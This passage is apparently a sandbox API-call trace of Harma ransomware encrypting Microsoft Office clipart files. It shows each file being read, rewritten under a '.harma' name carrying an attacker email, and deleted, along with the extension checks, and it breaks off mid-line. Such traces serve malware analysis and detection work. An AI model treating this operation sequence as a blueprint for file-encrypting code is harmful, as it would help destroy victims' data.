[0149.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.191] lstrlenW (lpString=".1cd") returned 4 [0149.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0149.191] lstrlenW (lpString=".jpg") returned 4 [0149.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.192] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.192] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0149.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0149.193] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2422) returned 1 [0149.193] CloseHandle (hObject=0x360) returned 1 [0149.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20 [0149.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0149.194] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.194] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.194] GetLastError () returned 0x0 [0149.194] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x976, lpOverlapped=0x0) returned 1 [0149.196] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x980, lpOverlapped=0x0) returned 1 [0149.197] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.197] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.197] SetEndOfFile (hFile=0x378) returned 1 [0149.197] CloseHandle (hObject=0x378) returned 1 [0149.197] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.197] SetEndOfFile (hFile=0x360) returned 1 [0149.199] CloseHandle (hObject=0x360) returned 1 [0149.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0149.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.200] lstrlenW (lpString=".doc") returned 4 [0149.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.200] lstrlenW (lpString=".docx") returned 5 [0149.200] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0149.201] lstrlenW (lpString=".pdf") returned 4 [0149.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.201] lstrlenW (lpString=".xls") returned 4 [0149.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.201] lstrlenW (lpString=".xlsx") returned 5 [0149.201] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0149.201] lstrlenW (lpString=".ppt") returned 4 [0149.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.201] lstrlenW (lpString=".zip") returned 4 [0149.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.201] lstrlenW (lpString=".rar") returned 4 [0149.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.201] lstrlenW (lpString=".bz2") returned 4 [0149.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.201] lstrlenW (lpString=".7z") returned 3 [0149.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.201] lstrlenW (lpString=".dbf") returned 4 [0149.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.201] lstrlenW (lpString=".1cd") returned 4 [0149.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.201] lstrlenW (lpString=".jpg") returned 4 [0149.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.201] lstrlenW (lpString=".doc") returned 4 [0149.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.201] lstrlenW (lpString=".docx") returned 5 [0149.201] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0149.202] lstrlenW (lpString=".pdf") returned 4 [0149.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.202] lstrlenW (lpString=".xls") returned 4 [0149.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.202] lstrlenW (lpString=".xlsx") returned 5 [0149.202] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0149.202] lstrlenW (lpString=".ppt") returned 4 [0149.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.202] lstrlenW (lpString=".zip") returned 4 [0149.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.202] lstrlenW (lpString=".rar") returned 4 [0149.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.202] lstrlenW (lpString=".bz2") returned 4 [0149.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.202] lstrlenW (lpString=".7z") returned 3 [0149.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.202] lstrlenW (lpString=".dbf") returned 4 [0149.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.202] lstrlenW (lpString=".1cd") returned 4 [0149.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0149.202] lstrlenW (lpString=".jpg") returned 4 [0149.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.202] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.202] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0149.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0149.203] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2262) returned 1 [0149.203] CloseHandle (hObject=0x360) returned 1 [0149.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0149.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0149.204] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.204] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.204] GetLastError () returned 0x0 [0149.204] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0149.206] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0149.207] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.207] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.207] SetEndOfFile (hFile=0x378) returned 1 [0149.207] CloseHandle (hObject=0x378) returned 1 [0149.207] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.207] SetEndOfFile (hFile=0x360) returned 1 [0149.209] CloseHandle (hObject=0x360) returned 1 [0149.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0149.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.210] lstrlenW (lpString=".doc") returned 4 [0149.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.210] lstrlenW (lpString=".docx") returned 5 [0149.210] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0149.210] lstrlenW (lpString=".pdf") returned 4 [0149.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.210] lstrlenW (lpString=".xls") returned 4 [0149.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.210] lstrlenW (lpString=".xlsx") returned 5 [0149.210] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0149.210] lstrlenW (lpString=".ppt") returned 4 [0149.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.210] lstrlenW (lpString=".zip") returned 4 [0149.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.211] lstrlenW (lpString=".rar") returned 4 [0149.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.211] lstrlenW (lpString=".bz2") returned 4 [0149.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.211] lstrlenW (lpString=".7z") returned 3 [0149.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.211] lstrlenW (lpString=".dbf") returned 4 [0149.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.211] lstrlenW (lpString=".1cd") returned 4 [0149.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.211] lstrlenW (lpString=".jpg") returned 4 [0149.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.211] lstrlenW (lpString=".doc") returned 4 [0149.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.211] lstrlenW (lpString=".docx") returned 5 [0149.211] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0149.211] lstrlenW (lpString=".pdf") returned 4 [0149.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.211] lstrlenW (lpString=".xls") returned 4 [0149.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.211] lstrlenW (lpString=".xlsx") returned 5 [0149.211] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0149.211] lstrlenW (lpString=".ppt") returned 4 [0149.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.211] lstrlenW (lpString=".zip") returned 4 [0149.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.212] lstrlenW (lpString=".rar") returned 4 [0149.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.212] lstrlenW (lpString=".bz2") returned 4 [0149.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.212] lstrlenW (lpString=".7z") returned 3 [0149.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.212] lstrlenW (lpString=".dbf") returned 4 [0149.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.212] lstrlenW (lpString=".1cd") returned 4 [0149.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0149.212] lstrlenW (lpString=".jpg") returned 4 [0149.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.212] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.212] lstrlenW (lpString="CLIP.WMF") returned 8 [0149.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.368] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2262) returned 1 [0149.369] CloseHandle (hObject=0x380) returned 1 [0149.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0149.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.369] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.369] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.370] GetLastError () returned 0x0 [0149.370] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0149.376] WriteFile (in: hFile=0x20c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0149.376] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.377] WriteFile (in: hFile=0x20c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0149.377] SetEndOfFile (hFile=0x20c) returned 1 [0149.377] CloseHandle (hObject=0x20c) returned 1 [0149.377] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.377] SetEndOfFile (hFile=0x380) returned 1 [0149.379] CloseHandle (hObject=0x380) returned 1 [0149.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 1 [0149.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.380] lstrlenW (lpString=".doc") returned 4 [0149.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.380] lstrlenW (lpString=".docx") returned 5 [0149.380] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0149.380] lstrlenW (lpString=".pdf") returned 4 [0149.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.380] lstrlenW (lpString=".xls") returned 4 [0149.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.380] lstrlenW (lpString=".xlsx") returned 5 [0149.380] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0149.380] lstrlenW (lpString=".ppt") returned 4 [0149.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.380] lstrlenW (lpString=".zip") returned 4 [0149.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.380] lstrlenW (lpString=".rar") returned 4 [0149.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.380] lstrlenW (lpString=".bz2") returned 4 [0149.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.381] lstrlenW (lpString=".7z") returned 3 [0149.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.381] lstrlenW (lpString=".dbf") returned 4 [0149.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.381] lstrlenW (lpString=".1cd") returned 4 [0149.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.381] lstrlenW (lpString=".jpg") returned 4 [0149.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.381] lstrlenW (lpString=".doc") returned 4 [0149.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.381] lstrlenW (lpString=".docx") returned 5 [0149.381] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0149.381] lstrlenW (lpString=".pdf") returned 4 [0149.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.381] lstrlenW (lpString=".xls") returned 4 [0149.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.381] lstrlenW (lpString=".xlsx") returned 5 [0149.381] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0149.381] lstrlenW (lpString=".ppt") returned 4 [0149.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.381] lstrlenW (lpString=".zip") returned 4 [0149.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.381] lstrlenW (lpString=".rar") returned 4 [0149.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.382] lstrlenW (lpString=".bz2") returned 4 [0149.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.382] lstrlenW (lpString=".7z") returned 3 [0149.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.382] lstrlenW (lpString=".dbf") returned 4 [0149.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.382] lstrlenW (lpString=".1cd") returned 4 [0149.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0149.382] lstrlenW (lpString=".jpg") returned 4 [0149.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.382] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.382] lstrlenW (lpString="DD00234_.WMF") returned 12 [0149.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 